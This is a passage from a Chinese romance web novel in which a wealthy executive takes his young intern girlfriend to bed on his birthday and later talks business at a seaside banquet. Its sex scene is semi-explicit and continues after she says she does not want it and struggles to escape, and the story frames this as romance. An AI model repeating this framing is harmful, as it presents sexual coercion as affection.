“你再跟我说分手试试?”顾程探手就把她的下巴抬了起来,挑了眉,“什么叫以后分了手。我是不是跟你说过,我是奔着结婚跟你谈的?”
“那你也说了要看看合不合适啊。”肖瑜心里一暖,嘴巴还在倔,“再说你也不是没跟人分过手……”
“我跟秦舒曼之间只是各取所需。”顾程松开怀抱,拉起她的手,一边往客厅带,一边温声解释道,“原本我没打算跟你说这些,但她昨晚越了界,我也没必要再顾及她的脸面。那不是奔着结婚去的,起初就商量好了毕业就分手。她帮我挡桃花,换我清静,我给她出国交换的机会,两不相欠。”
肖瑜怔住了,不可思议地顿下脚步问,“契约恋爱?果然霸总都好这口。可菲菲说,你当年对她可是好得不得了,而且,她那么美,你怎么可能不动心?再说你的初吻不也是她吗?”
“她过生日的时候,当众要我闭上眼跟她一起许愿,我才会被偷亲。”顾程一脸被人算计后的不甘,皱着眉,还伸手厌恶地抹了下嘴唇,“那次过后我就警告过她,别再碰我。她后来一直很规矩,这也是我们一直都能做朋友的基础。至于对她好……那时候她乖,不闹,也规矩。有男女朋友的身份,负男女朋友应有的责任,这不是很正常吗?”
“一点都不正常……”肖瑜翻了下眼睛,依旧将信将疑,“可你为什么那么抗拒恋爱?大学里谈个恋爱多美好的事情啊。”
“哪里美好?”他拉她来到吧台,肖瑜这才发现,一侧居然放了束硕大的玫瑰,还挂了五六件质地不同的晚礼裙。
她惊讶地上前摸起了其中一条裸色亮片长裙,顾程靠在吧台上倒着酒,慢吞吞说道,“一天天被人各种塞情书送礼物,打个球就算投空了也有满场花痴尴尬的尖叫,递水递毛巾的时候指不定被谁趁乱就乱摸,动力俱乐部来报名的都是些什么都不懂的花瓶,还有人爬在车头上要死要活要跳楼地非要跟我处朋友。我连在学校厕所方便一下,都会有人不要命地冲进来骚扰。你告诉我哪里美好了?”
“……”肖瑜都给听呆了,甚至都没意识到他递过来的是酒,拿在手里喝了一口,才吸溜着地又放了回去,“红酒?好酸啊。”
“不喜欢?”顾程也喝了一口,低眉想了想,拨了客房服务,“调杯蓝莓茶过来。”
“那么多女孩子喜欢你,你就一点都不心动吗?”肖瑜趴在吧台上瞅着他,好奇地问,“那你就没怀疑过,可能你喜欢的是男人?”
顾程瞥她一眼,高椅上坐下来,黑了脸,像是想起了什么不好的回忆,“我也被男人骚扰过。”
肖瑜噗地笑了出来。
顾程在她额头弹了一下,抿一口酒,“那人断了一条腿,被退学了。”
“你那么凶吗?”肖瑜挤了眉,意外地看着他,“不管男的女的,都只是追求自己喜欢的人而已。你不喜欢,拒绝就好了啊,何必做得那么绝呢。”
“拒绝也得有用才行。”顾程又轻啜一口,放下酒杯,左臂搭在吧台上,无名指有一下没一下地,在台面上轻轻叩,“有的人,明知道别人不喜欢她,就是不撞南墙不回头,死缠烂打,惹人烦得不行。我就是心善,很多时候想着多一事不如少一事,也有因为家里关系需要顾及下情面的,想着多少给对方留些脸。可稍微和颜悦色一点,就会有人以为又有了机会,变本加厉。所以,都是被逼的。”
肖瑜起初还听得眉眼弯弯,可渐渐的,面色却变得有些苍白。她咬了下唇,怔怔地看着他问,“所以,被不喜欢的人那么……那么一直缠着,是真的很难受吧?”
“嗯。”顾程挪开视线,又拿起酒杯,垂眸浅饮一口,“不止难受,还很恶心,深恶痛绝。尤其那种父辈间还有点交情的,还得看他们的面子,偶尔虚与委蛇一下,不能做得太绝,想起来就恶心得够呛。”
一字一句,都仿佛刀尖在肖瑜心上扎,刺得她曾火热的心,千疮百孔,又深感羞愧。她曾经就是那样的人。原来她心中觉得赤诚一片的情感,不仅会让对方深受困扰,还因为两家的关系,厌恶到不停地拒绝,还得忍着反感的情绪,时不时得给她点好脸色。而她,居然还将人家偶尔的温柔善意,还有陪伴,曲解为对她也是有感情的。
门铃响起,顾程扫了她一眼,起身过去拿回一杯温热的饮品。
肖瑜默不吱声接过来喝了一口。他问,“这个味道喜欢吗?”
“嗯。好喝。”
“挑件衣服换上。”顾程似乎并未发现她的情绪有些低落,握住她的肩,将她拥到挂满晚礼裙的衣架前,“准备得有些仓促,先凑合选一套。”
“我们要去参加宴会吗?”肖瑜转头问着,忽然想起什么来,‘哎呀’了一声,“那个文件还没拿给你,就是安总让我拿来的紧急机密文件。”
顾程抬了下眉,在她肩上按了按,“你换衣服,我去拿。是在背包里吗?”
“嗯,信封里放着。”肖瑜点点头,又说,“还有安总送你的礼物,在行李箱最上面,打开就能看到,是个金色的礼盒。”
“嗯。”
*
所有的礼服,都是性感的抹胸装。
肖瑜从来没穿过这么暴露的裙子,她选了一件裸色的,一件白色的,还有一件黑色的,拿进浴室。
裸色的那件铺满了亮片,是拖地长裙,布料最多。可高开叉一下子到了腰
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下,每走一步,后臀尖都感觉凉飕飕的。
白色的及膝,最符合她甜美乖巧的五官,可是腰上那枚大大的蝴蝶结,看起来可爱有余,稳重不足,并不太适合商务宴会。
来来回回试了好几遍,最终她还是选择了最不易出错的小黑裙。
因为没戴隐形肩带的内衣,只能真空上阵。拉开浴室门,她左手手臂上搭着另外两件衣服,右手不太好意思地提着胸口,磨磨蹭蹭走向已经再次回到吧台的顾程,小脸红红的,声若细蚊,“我,我不是故意勾引你……可我,我拉链真的有点够不着……”
顾程些微低头,暗红的液体在酒杯里妖冶地荡,他不吱声抿了口酒,放下酒杯,转身来到她的背后。
他们相遇之初,是她二十一岁生日那天,初雪微扬,衣衫厚重。
那一日的她,发丝被化开的雪打湿,有一点狼狈,神色落寞。第二次见面,眼睛又肿得像对大核桃,憔悴还拜金。所以电梯里那一面,五官精致,轻熟风的大衣内身材微显,又纯又欲,现在想来,的确让人惊艳。
而后被她拐上了床,朦胧灯下,他已经知道她的皮肤婴儿般细嫩光滑,白皙的肢体也跟自己完全两个色调。然而此刻成片成片的肌肤袒露眼前,日光下与小黑裙对比鲜明,越发白得泛着光,毫无瑕疵,莹润娇柔。
薄薄的背,掐一把就要断的腰,还有自然挺翘,水蜜桃一样诱着他的臀……小丫头,还说这不是故意勾引?故意起来是要翻天吗?
“呀!”屁股被狠狠捏了一把,肖瑜惊叫着要转身,顾程摁住肩不让她回头,嗓音磁得有些离谱,“别乱动,我正在找拉链。”
“……!”肖瑜觉得嗓子有点紧,声音像是被挤出来的,“明明就是……大色狼。”
顾程居然没反驳,一只手在拉链上扯了扯,又把握在她肩上的左手也抽回去,好半天,才拽得她胸都要被挤爆了一样,总算拉上了链条。
肖瑜低头看一眼自己的胸口,犹豫了片刻,还是挺胸收腹,保持着正常的体态,去把手中的裙子又挂上了衣架。
说实话这衣服她有点不太习惯。因为之前跟父母和哥哥参加酒宴的时候,妈妈为她准备的,从来都是公主类,可爱系,粉嫩柔美不暴露。可如今她长大了,也是职场女性了,总要随着成长来不断适应。其实,没什么不好意思的。
“你学过跳舞?”
挂好了衣服,肖瑜正在低头看脚,吧台又传来顾程的声音,“芭蕾?”
“嗯。”她刚好在想自己带来的鞋子,哪双用来配这套衣服比较合适。闻声点了点头踢掉拖鞋,脚尖一绷,腿一弓,丝滑地转着圈圈来到他身边,摁住吧台高脚凳,歪头俏皮地看着他笑,“厉害吧?我只是随便学学,为了美体而已。不然老师说,我可以专业跳芭蕾呢。”
顾程跟她对视一眼,偏了目光,转头把蓝莓茶递给她,“嗯。很柔韧。很软。很好。”
他夸得有点敷衍,因为每说一个词,都要顿一下,喉结滚两下,视线也没再往她脸上落,看起来多言不由衷似的。
肖瑜翻了个大白眼,又喝了几口酸酸甜甜的蓝莓茶,跳上凳子抬了抬脚,“我们几点去?要是有时间,我还想去买双鞋子。这套衣服配尖头细跟的好看,我带的都是圆跟奶奶鞋,不太适合。”
“不用。”眼前是他递来的玫瑰,散发着轻浅的幽香,伴随着他低沉的声线,“今天很重要,不出门。”
“不出门?”肖瑜接过玫瑰,莫名其妙地低头看看自己的礼服,又看向他,“不出门你让我换衣服做什么?再说今天……就算是你的生日,可也是工作日啊。我听安总说,你这边的事情很重要的。翘班一整天,真的可以吗?”
“今天就算是世界末日,跟我们也没关系。”顾程终于把视线从酒杯挪向她的脸,从高椅上起身,来到她的正前方,收腰挺背,站得笔直。
他的双眸深不见底,情绪复杂难捉摸。
肖瑜咽了下嗓子,竟被他目不转睛的视线,看得下意识想要往后缩。
“我今天二十八了。”
顾程也咽了下嗓子,即便如此,喉咙里磨出来的声音,也带了丝哑意,“我……”他顿了下,双手摩挲着抚上她雪白的大腿,突然使力往两边一掰,在她止不住的低呼中,拉起她双脚盘腰上,挺身挤进了她双腿之间,“我准备把自己守了二十八年的童贞,送给你。”
71. 第 71 章
第七十一章
“……”肖瑜手上的玫瑰掉了下去,惊恐万分地瞪大了眼睛,双手倒抓着吧台,嘴唇都在抖,“我,我……我不要!”
“你不要?”顾程挑了眉,低头好整以暇地看着她笑,“你不是怕我不行吗?你不是很想验货吗?我都愿意为你废了自己的坚持,你不要?那你想让我送给谁?”
“……”肖瑜差点找不到自己的舌头,眨了好几下眼睛,才找回点声音,“你,你可以继续守着的。行不行没那么重要,我不介意的。”
“我介意。如果我不行,会误了你一辈子。”顾程低头在她唇上碰了碰,倾身拥住她的背脊摩挲着,又温柔地吻向她的眉眼,“你说的话,我都记住了。我也是第一次正式进入一段关系,难免会犯错,要学习的地方也很多。比如现在,虽然我已经提前做了很多准备,可还是有一点紧张。我们相互体谅,共同探索,以后不要再随便说分手,好不好?”
他喃喃语落抬起脸,一手握住她的腰,一手抚开她额角的发丝,俯首静静看着她的眼睛,似乎是在等待她的答案。
肖瑜被他温言细语哄着,心里早就软得一塌糊涂,对自己此前两次提分手,更觉内疚又后悔。她望着他深潭般的眼眸,那里像是有巨大的魔力旋涡,把她不停往里面卷,卷得她脑子里晕晕的,再也不想跟他说分手。
她轻轻咬唇,点了下头,“好。”
眼前俊逸挺拔的男人笑出了声,一个用力把她腾空抱起,放在吧台上,仰着头望着她,而后,居然轻轻闭上了眼睛。
她的心,突然间跳得像是要冲出胸腔。
他素来稳重示人,眸色骄矜。可这一刻闭目轻颤的睫毛,微抿的唇角,竟让她察觉到他的一丝紧张,让她生出难言的怜惜之意。
她又开始觉得晕晕的,伸手摸了下他柔软的唇,随着心意捧起他的脸颊,低头吻了下去。
屋子里的阳光,越来越暖。温度,也越来越高。
吧台上缠绵难舍的吻,在密不可分的拥抱爱抚中,一路纠缠到卧室。轻吟低喘的气息中,肖瑜背后的拉链不知道何时滑向了腰窝,原本精致的小黑裙,破布似的挂在腰下,堪堪遮住了腿。顾程的衬衣扣子也不知被谁扯得崩了好几颗,结实的胸腹厮磨在她柔软的身前,久久流连。
她的手被他握住,带了几分试探。
掌心被烫到,她浑身一个激灵,眼睛里荡漾的春色也被惊恐取代,立刻挣扎着就要起身。
顾程闷哼一声,把她的手捉回来,抬手摁住她的额头,悄声哄,“放松点,你这样我很紧张。”
“我……”她想说,她答应的只是以后不再随便说分手,而不是接受他守了二十八年的童贞。可刚刚张开嘴,他就低头吞没了她的声音,握住她的手探索着,轻轻压了过来。
撕裂感直接让肖瑜痛出了眼泪,呜呜咽咽掐紧了他的肩头。
顾程眸子里映出她止不住泪、惊惧痛苦的模样,他心疼地皱了眉,想先停下来再哄哄她。
可她似乎将他的怜惜,默认成了放过。不过因为一瞬犹豫收了力,她就死命挣扎着去推他,后缩着要逃。
他顿了下呼吸,眼中的心疼被更为深暗的另一种情愫彻底覆盖,倾身而上,再不给她分毫喘息的机会。
*
被他抱进浴缸清洗,肖瑜羞得连哭声都变小了,可刚才那几乎要了她半条命的撕裂感,实在太难捱,她整个人到现在都还颤得停不住,根本没有办法自给自足。
顾程倒是对自己的没用很淡定。他腰下围了浴巾,蹲在浴缸前撩起水,分寸都没错过的,给肌肤泛出粉色的小姑娘,仔仔细细清洗了一遍。只不过,整个过程他都很沉默,甚至没有抬过头,不知道是倍受打击无法接受现实,抑或,验货失败后干脆打算摆烂。
又肿又痛的感觉,在温水中包裹中,渐渐不再那么强烈。可他抬眸看她一眼,继而低下头,伸手在那里也帮她轻揉细洗,肖瑜到底还是忍不住夹了腿,推开他,摇了摇头。
“抹点药,据说会好一些。”顾程展开浴巾抱她出来,带回床上,从枕下摸出一管药膏,终于开了口。他嗓音闷闷的,低着头,听得出情绪不佳,“如果你还不习惯,可以自己抹。”
“嗯。”
他起身,又低头看了她一会儿,见她低垂着脑袋不抬头,他伸手摸摸她的发顶,“我去洗一下,你休息休息。”
“嗯。”
清凉的药膏涂上去,确实又缓解许多。肖瑜把药塞回枕下,指尖碰到一个瓶状物,她掀开枕头,发现下面不仅有一个写着润滑液的瓶子,居然,还有好几个未拆封的套套。
如他所说,确实做足了准备。可是,好像,他们……根本用不上啊。
不过他一秒完事儿,或许也不是什么坏事。
肖瑜又拿枕头把东西盖好,钻进被子里侧身望着辽阔的海景,心情十分复杂。
虽然发生得太过突然,可她的确很喜欢他,也愿意跟他一起尝试。可网上明明说,那种事情妙不可言。但她除了痛得想死,根本就没有别的感觉。
如果男人行是指时间长,那她宁愿顾程不行。不然痛一次就得半小时,还可能会一夜痛上好几次,那她真不知道自己还能不能活到天亮。
骗子。网友都是口嗨王,大骗子!
*
“有没有好点?”
五分钟都不到,顾程就洗完了澡。他没有直接上/床,而是裹了浴袍坐在床沿,低头看着她,有点心疼,又有点愧疚,还有点不敢再向她靠近的迟疑。
肖瑜因他的眼神,心里也软软地疼了一下。她点点头,继而从被窝里伸出手来,握住他的手,小声地劝,“这样挺好。你别往心里去,我真不介意的。”
顾程眉心一蹙,脸色暗了几分,“你以为我真的不行?”
“自信点。”肖瑜没有在这种事情上安慰男人的经验,甚至在小说里也没见过不行的霸总。她紧握着他的手传达着释怀,绞尽脑汁想把气氛活跃起来,“把‘你以为’去掉,你真的不行。不过我也是真的不介意。这样挺好的啊,以后要是结了婚,我们可以有更多的时间享受生活,晚上聊天看电视什么的,时间更充裕,还能多陪陪团团呢。”
顾程的额角抽了抽,掀开被子就钻了进来,抓起她的手往腰下塞,“你不是理论知识也很足吗?第一次快一点是正常的你不知道?你要是不乱动,我……我看你是真不疼了,再来!”<
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“唔……还来?我……我疼……我……你别咬我,我疼的!我……”
“你什么你,我就是不能心疼你一点……乖,这次别乱动,放松……”
*
月亮跟太阳换了班,屋子里都还没平静下来。
整瓶润滑液用的一滴不剩,客房服务要了三次,午餐晚饭和宵夜。肖瑜早就丧失了自理能力,只能由着他把自己抱怀里,或是窝在沙发,或是倚在床头,哄着她吃点东西歇口气,鸡汤参汤补水分。可补着补着就补地拿嘴喂,喂着喂着就又在床上滚起来。
次日晨曦微露,温柔的光,洒向沉睡中依旧紧紧依偎着的两人。
手机铃声在床头响起,顾程皱着眉睁开眼睛,一瞬迷茫,跟着连忙伸手拿过来,摁了拒接。
怀里的人还睡得很沉。
初经人事,他太过沉溺不知轻重,她瓷娃娃似的小脸上,眉心微蹙,睫毛还是湿的,粉嫩的嘴唇也嘟着,连睡梦中都似嗔似怨,气他让她受了累。
他心疼地在她额上落了个吻,继而觉得不够传递心意,又伸手爱抚着她,轻轻去亲她。
掌心从她肩上温柔拂过,她在他手里软软的,嫩嫩的,乖乖的,怎么都觉得爱不够。
折腾了她一日一夜,着实该让她好好休息一下。可脑子里的怜惜一回事,身体上的动作又一回事。
终于她被闹得半睡半醒,眯开眼眸,再度拥上了他的背脊。
*
肖瑜已经不记得自己昨日至今被洗了多少次澡,又死了活,活了又死多少回。
彻底清醒的时候,她连指尖都抬不起来,浑身困乏酸痛得像是碎成了渣渣,瘫软地像团泥。
可窗前的男人已然衣装整齐,黑色的衬衣比平素穿得懒散一些,领口微敞,正坐在沙发上惬意地喝着咖啡看手机,浑身上下都散发着餍足过后的神清气爽。
许是察觉到她的视线,顾程抬眸往这厢瞥了一眼,立刻起身走了过来,俯身低下头,轻轻给她印了个早安吻。
见她依旧倦怠地蹙着眉,他又托起她的背抱进怀里,拉起薄被掩住她寸缕未着的身体,这才自后将双手在她腰前十指交握,拿脸颊温柔地贴向她的。
他许久都没开口,就这样沉默地抱着她,暖暖的气息在她耳畔萦绕。
肖瑜也没有说话。
起初,她是累得不想说话,也有些气他索取无度。可被他这样温柔地抱在怀里,无声陪伴着,她不禁想起自己昨夜的蜕变。除了最初的冲动莽撞,他其实一直都很在意她的反应。尽管她也不是很懂,可她感觉的到他在试图取悦自己。而他此刻衣衫整齐明显是需要出门,却依旧守在床畔等她醒来,不像之前在泽鼎那次,一大早把她留在床上,一个人出去忙自己的事。
他们之间,已经有什么东西不一样了,一点一滴,悄无声息地不一样了。
有甜蜜蜜的暖流在心间涌起,泛上眉梢。肖瑜忍不住弯了眼眸偷眼去看他,对上他同样噙着笑的目光,她红着脸,在被子下面勾了下脚趾,“你去忙你的。”
“先陪你吃点东西。”顾程伸手拨了电话,又从床头柜上拿来一只精美的盒子递给她,再度圈起手臂,“看看喜欢吗?”
72. 第 72 章
第七十二章
肖瑜打开盒子,里面是两条情侣项链。
女款是细细的蛇纹铂金链,蓝宝石海豚吊坠,微笑唇和圆圆的眼睛以铂金点缀。而男款则是粗链条纯铂金海豚吊坠,眼睛是亮亮的蓝宝石,跟女款相互辉映,两只海豚合在一起,恰好是圆润的心型。
她眯弯了眼睛,捻起那条男款的项链,直了身回头。薄被从肩头滑落,可顾程很快就把被子拉了起来,为她遮挡住那对勾人的宝贝。她羞赧地看他一眼,咬了下唇,屏气凝神,轻柔地在他颈后锁紧了搭扣。
顾程也挑起细细的铂金链条,伸手拨开她浓密的长发,小心翼翼在她白皙的脖颈下,将与他成对的项链,轻轻锁上。
几分钟的互动,仿佛是完成了某种默契的仪式。
四目相望,二人的指尖都下意识抚上了对方颈下的吊坠,继而像是有火花在交互的视线中迸裂,不知究竟是谁先主动,柔软的唇已经再度忘情地胶合一处。
所幸顾程的皮带扣被拽开前,送餐的铃声适时响起,他低喘着撑起手臂起了身,在肖瑜发顶揉了揉,边扣衬衣的扣子,边笑,“我去拿吃的。你穿好衣服再出来,不然今天又出不了门了。”
肖瑜拉起被角盖住脸,待听得他的脚步声渐渐远离,才轻舒一口气,龇牙咧嘴地忍着身上那股难受劲儿,探身在床边的行李箱里拿了套衣服。
她跟他在一起,不管心理还是生理,磨合期似乎都很短。
明明昨天,不,就连方才刚睡醒的时候,她都还在怨他毫无节制。可一个吻,一个拥抱,再度滚到一起的时候,她要是没记错,把人领口扒开的手是她的,摁住人后脑勺的手是她的,抱住人腰背的手是她的,连猴急地去扯人皮带扣的手……好像,也是她的。
所以,其实真正涩涩的人,是她?
这个认知,让肖瑜怀疑自己是不是骨子里就涩涩的,否则怎么一开闸就收不住了呢。
她专门挑了套严丝合缝的衣服,高领泡泡袖衬衣,垂感极佳的西裤,除了脚上还是拖鞋,洗漱完毕束起长发来到客厅的时候,已俨然一副职业女性的装扮。只不过脂粉未施的小脸因着绯红一片,依旧显得稚嫩而青涩。
顾程已在餐厅坐下,正讲着电话。抬眼看向她时,他喉结滚了一下,正在说话的唇也有转瞬的停滞,继而快速说道,“可以,你让他安排吧。还是老规矩,安保一定要做到位。”
他很绅士地起身为肖瑜拉开了座位,待她坐下后,低头在她脸颊吻了一下,才慢吞吞盯着她,坐回了自己的位置。
肖瑜还在对自己的新认知感到耿耿于怀,尤其被他亲这一口后,她抬眼看向餐桌对面的他时,忍不住咽了下嗓子,用了很大的自制力,才把目光从顾程的身上挪向了盘中餐。
有些事果然是不能轻易尝试的,而她,骨子里或许真就挺那什么的。
经历了这场蜕变后,她如今再看顾程,怎么看怎么觉得他勾人。骨相优良五官俊逸气质矜贵就算了,如今也不知道因为那条情侣款项链加持,还是别的什么原因,她瞅着他微敞的领口,脑子里浮现的全是他额有薄汗,眸色迷离的模样,还有手感极佳的薄肌和无法抗拒的力量感。
她真的……好想扒他衣服!
对面的人低咳一声。
肖瑜一个激灵,这才发现自己不知何时又在盯着他看,她连忙心虚地低下头,却发现盘子里已经放进了两块面包。
“你看我的眼神……很饿。”顾程目不转睛地盯着她,似笑非笑,“像是要把我吃了。”
肖瑜咬一口面包,脸烧得发烫,没有反驳。
顾程原本只是逗她,可见她居然默认了,他微微一怔,笑出了声,“看来验货的结果你挺满意。小包子,今晚我们可以尝试一下别的姿势了。”
一句话说的肖瑜差点被噎到,脸红脖子粗地灌了口牛奶,才憋着泪眼不满道,“干吗叫我小包子啊?你是吃定我了吗?”
“我不想跟别人一样叫你小鱼儿。”顾程眼角眉梢都是笑意,为她添了些牛奶,从裤兜里掏出那只硅胶小包子,底部朝上给她看,“你送我的。”
包子下面,永久马克笔清晰地写了两个楷体字:【肖瑜】。
肖瑜惊了,呆呆地看着那两个字。然后亲眼看着顾程一下,一下,又一下,很有节奏地,用修长的指节在掌心里把包子捏到变形,溢出指缝。
她的胸口有点痛,撇着嘴欲哭无泪地嘟囔,“哪有人还随身带着捏的啊?让别人看到了你不要形象的吗?”
“这不是解压玩具吗,你在想什么?”顾程又捏了两下,目光在她窈窕有致的身段上扫了扫,低叹一声,“包这么严实,还是看得人心里痒得很。你是不是给我下了蛊?”
原来他对她,也是一样难以抗拒。
肖瑜忍不住弯了唇角,佯怒地嗔他一眼,却见他忽然皱了下眉,跟着,似乎犹豫地垂眸思索片刻,才又说道,“昨天……有点事出意外。你介不介意毕业典礼大着肚子参加?”
第一次秒出实在出乎意料,他倒是不介意早点有个孩子,也省得母亲总在耳边念叨。可人生重要里程碑,爱美的小姑娘不见得愿意扛着个大肚子上台合照。
肖瑜一时没反应过来,甚至从来都没往那方面认真想过,被他这么一提醒,不由无措地说道,“这么容易怀孕的吗?我……我还不想这么早生孩子,也不想大着肚子参加毕业典礼,太尴尬了。而且,我妈妈也不希望我未婚先孕。”
“结婚的事我会让家里尽快筹备。”顾程起身来到她的身后,摁住她的肩头安慰道,“回去后就见父母,先订婚。待会儿让邱秘书带你出去逛逛,喜欢什么先买着。药我也会安排,你毕业前我们先不要孩子,别担心。”
掌心里的温度透过皮肤渗入心头,像他沉稳语调中的话一样,带给她的是满满的信任和心安。她仰头望着他笑了笑,而他也低头又在她脸颊印了个吻,跟着,很自然地伸手隔衣捏了一把,在女孩脸红心跳的惊叫声中,低笑着道,“我先走了。已经把人晾了一天,再不过去,这笔生意可真就黄了。晚上
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见,小包子。”
*
延展至海面的观景台上,两个身着休闲衬衣的男人相对而坐,一黑一白,优越的外形,迥然的气质,自成风景。
身着白衬衫的男人年纪很轻,唇角微扬,眼尾略挑。他并没有刻意在笑,可海风掀起他随意散在腰侧的衣摆,发丝飘摇在他尚带稚气的面庞上,整个人透出的那股子痞帅味儿,任谁看一眼他,都会觉得有种玩世不恭的味道。只是他微垂的眼睑下,只有对面的人瞧得清楚,那其中颇有几分凉薄与萧瑟。
一袭黑衣的男人,同样年纪不大,五官优越气质超脱。只不过尽管他的领口微敞,露出颈间环环相扣的金属链条和海豚吊坠,面容上温和疏离的矛盾感,加之他骨子里透出的那份从容淡定,相对而言,显得成熟稳重许多。
长达十几分钟的沉默过后,顾程伸手给自己倒杯热茶,淡淡笑了笑,“小姜总……像是一直都不怎么喜欢我。”
“呵。”略有轻佻的笑意也在姜昊唇角漾起,他双手抱臂靠在藤椅上,懒散地道,“我喜欢的是女人,自然不会喜欢顾总您。”
“彼此彼此。”顾程瞥一眼已在内厅那边坐下来交流的两队人马,也靠回了椅背,眸色晦暗不明,“既然两看相厌,小姜总为何要答应你姑姑跟我见这一面?”
“我也好奇得很。”姜昊轻嗤一声,微扬的眼尾透出几分不屑,“昨天你不是还端得很吗?怎么今天又同意继续谈了?”
“我是个商人,有利可图的事情,没有拒绝的道理。”顾程慢悠悠往茶里添了些奶,拿起茶匙慢慢搅,“至于昨天,倒也不是刻意针对睿荣。”他抬眸,似笑非笑,“小姜总年少,恐怕还理解不了春宵一刻值千金的真谛。”
姜昊也给自己倒了杯茶,撇了下唇角,“秦总昨天一整日都跟我们在一起。你就不怕我告诉她?”
“怕。”顾程抬了抬眉,语带讥诮,“怕得很。你要是告诉她,只怕很多秘密就会藏不住了。”
“嘁。”姜昊放下茶杯,依旧是一惯痞痞的笑意,“我对顾总糜烂的私生活没有兴趣。明人不说暗话,我们不是第一次相见,我知道肖瑜在华驰实习,她是个好女孩。你只要别祸祸她,我可以当做什么都不知道。”
“我怎么可能祸祸她呢?”顾程依旧漫不经心地搅着茶,却并没有要喝的意思,“难得小姜总跟我有意见一致的时候。肖瑜的确是个好女孩,工作负责,安分不惹事,连我妹妹那种混世魔王都跟她处成了闺蜜。不过……”
他终于放下了茶匙,好奇地问,“既然你也觉得她是个好女孩,自小青梅竹马,又追了你三年。情书周周写,三餐顿顿送到面前,把你看得比眼珠子都宝贵,为什么你就是不要她?”
姜昊笑意一滞,“你调查我?”
“我总得知道接下来要合作的,是人是鬼。”顾程彻底推开了杯子,舒展双臂慵懒地靠回椅背,“肖瑜是我的下属,一个电话打过去,今晚她就可以出现在你面前。怎么样,要不,安排你们见一面?也展示一下我的诚意?”
73. 第 73 章
第七十三章
姜昊握紧了十指,目不转睛看着顾程。
对方墨黑的瞳内,满是戏谑。
他深呼吸了一下,松开掌心,挪开视线抿了口茶,“我……不想见她。我跟你,我们还是谈谈接下来的合作。”
“心够硬。”顾程笑了,倾身亲手为他添了茶,眉目彻底舒展,“很好。太过儿女情长的男人,成不了大事。我很期待接下来的合作。晚些时候刚好有场宴会,小姜总若是想扩充一下人脉,我不介意牵桥引线。”
“那就多谢顾总好意了。”
*
华灯未上,临海庄园内,已热闹非凡。
姜玉珠一行,也在顾程的引领下,与港区几家在欧洲有长线业务的企业老总坐在了一起。
与政府牵头认识的那些人不同,这些常年两头跑的,虽非富豪榜上的巨贾,但术业有专精,在其专属领域都有深耕过后的积淀,不管人脉还是经营手段,几番交流下来,连姜玉珠都不得不又重新审视起顾程这个小辈,放低姿态,极力撮合姜昊与他多多接触。
然而交流归交流,由陈越牵头的宴会,娱乐互动自不可少。
飞羽传媒近年来专攻体育赛事和影视版权及人员签约,比起被顾氏收购之前的广撒网,盈利能力大增,颇受资本青睐,风头正劲。而陈越眼光又十分毒辣,尽管扎根港区,选人选本甚少出错,如今别说新人想成名要往飞羽挤,就连想在内娱占得一席之地的成名港星,一听说是他支了场,也都纷纷重拍了档期能来就来,更何况今次前来的还有不少资力雄厚的大老板。
酒宴过后,各自为安。原本在宴会厅谈笑风生的大佬们,三三两两下楼去跟娱乐界的俊男靓女们做更为深入的交流,泳池附近的表演台上,也有乐队起了调,乐声悠扬。
姜昊靠在二楼的露台栏杆上,指尖的烟火明明灭灭。他看了会儿楼下灯红酒绿,又转过头来看向一侧沉默如背景的秦舒曼,“你跟顾总,怎么回事?”
顾程跟姜玉珠也来到了露台,正在不远处对饮着低谈。
秦舒曼一袭湖蓝色的长裙,高挑的身型,越发透出骨感的风姿。她抬手撩了下长发,在姜昊疑惑的目光中,背靠栏杆看向顾程,自嘲地笑了笑,“什么怎么回事?惹他生气了呗。”
姜昊倒也没再多问,俯身拿双臂搭着栏杆,目光望向无际的海面,有些意兴阑珊。
那晚顾程扔下秦舒曼不管,因着她明面上那前女友的身份,还有陈越三缄其口的圆滑,没有人为难她,甚至只当她还是功臣,极尽谄媚。她自认当时的孤注一掷,抓住了稍纵即逝的时机,却完全没料到,顾程竟会连外出工作,都要把那小姑娘给随身带来。
多年来她屡次试探,欲擒故纵。即便深爱着他,也没有舍弃过自己的尊严和骄傲,却没想到连顾程这样的男人,最终竟也会被一个茶里茶气的白莲花,用不入流的手段勾引。
隔日她仍以醉酒荒唐谢罪为由联系顾程,以姜总相约为由联系邱秘书,他居然只字未回,甚至让邱秘书转告自己,睿荣的事如果她再插手,顾氏宁愿彻底放弃这次的合作。
那一刻,她是有些崩溃的。为一直仰望的人跌落神坛,像冥冥众生中一个普通男人那样,被狐媚勾引而不自知,失望透顶。也为自己以后可能再也没有机会接近他,不知所措。
然而今日再见,她无端觉得他对她的吸引竟然更进一步,而他单独出席并没有带上那个所谓的女朋友,如果不是两个人也闹了脾气,那就只可能是,在隐晦地向她示好。
秦舒曼又抿了口酒,眯着眸目不转睛地看着顾程。
顾程跟姜玉珠正说着话,忽然低笑着摇了摇头,往她和姜昊这边看了一眼。
她咬了下唇,轻轻扬起下巴,朝他们走了过去。
“恕我直言……”顾程因她走近,很明显地皱了眉,依旧跟姜玉珠继续着方才的话,“小姜总一表人才,以你们目前面临的困境,与当地有实力的家族联姻,比远水更解得了近渴。”
“我早就有这个想法了。可昊昊还是小孩心性,总有一些……不怎么现实的坚持。”姜玉珠也看向在身侧坐下的秦舒曼,咽回了原本要说的话,很识趣地朝顾程举了下杯,“顾总去忙你的事吧,不用陪我。如果你不介意昊昊是外人,带他一起去看看也好。不仅仅是为了合作,为人处世上,我也希望他能跟你好好学学。”
“好。失陪。”
顾程很干脆地起了身,径直走向姜昊。两个男人在露台上又说了几句话,才一前一后下了楼。
秦舒曼握住酒杯的手紧了紧,仰头一口气喝完,把杯子摁回了茶几。
姜玉珠轻叹一口气,安慰地拍了拍她的手,“曼曼,换个人吧。他刚才说,很快就要结婚了。”
“呵……”在她面前,秦舒曼再也装不下去,伸手捂住脸颊,十指渐渐深入发间,“跟那个肖瑜吗?她算个……”
“你说什么?”她言语未尽,姜玉珠已经疾声问道,“你说顾程的女朋友,叫什么?”
秦舒曼被她这罕见的失态吓了一跳,她愣了愣,不解地应道,“肖瑜,是他那家轮胎公司的实习生。姜总,您……”
“去叫昊昊。”姜玉珠倏地起了身,眉目间尽是忧虑,“我们立刻就走,快去。”
秦舒曼又愣了一下,连忙起身正要下楼,却又被姜玉珠叫住。她回过头,满眼疑惑看向甚少如此踌躇难决的女老板。
姜玉珠缓缓坐了下来,指指对面的位置,有些倦怠地扶额说道,“算了,也许这样就能彻底死心了……曼曼,放弃顾程吧,他不是你能驾驭的男人。”
*
名利场中,最不缺就是帅哥美女。尤其是娱乐界人士为主的活动,妖娆身段,腹肌胸肌人鱼线,该有的都有。
